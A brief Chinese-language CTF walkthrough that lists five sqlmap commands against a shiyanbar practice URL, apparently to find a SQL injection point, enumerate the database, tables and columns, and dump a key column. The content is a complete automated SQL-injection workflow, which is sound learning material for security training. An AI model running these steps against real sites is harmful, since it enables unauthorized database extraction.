sqlmap 注入

windows 10 专业版
python 2.7.16
sqlmap 1.3.5.10

1

python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1
#检测可用注入点

2

 python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -current-db
#猜解当前数据库

3

python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db  --tables
##猜解数据库中的表

4

python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db  -T thiskey   --columns
#猜解表中的列

5

python sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db  -T thiskey  -C  k0y  --dump
#将列中字段导出 

你可能感兴趣的:(CTF)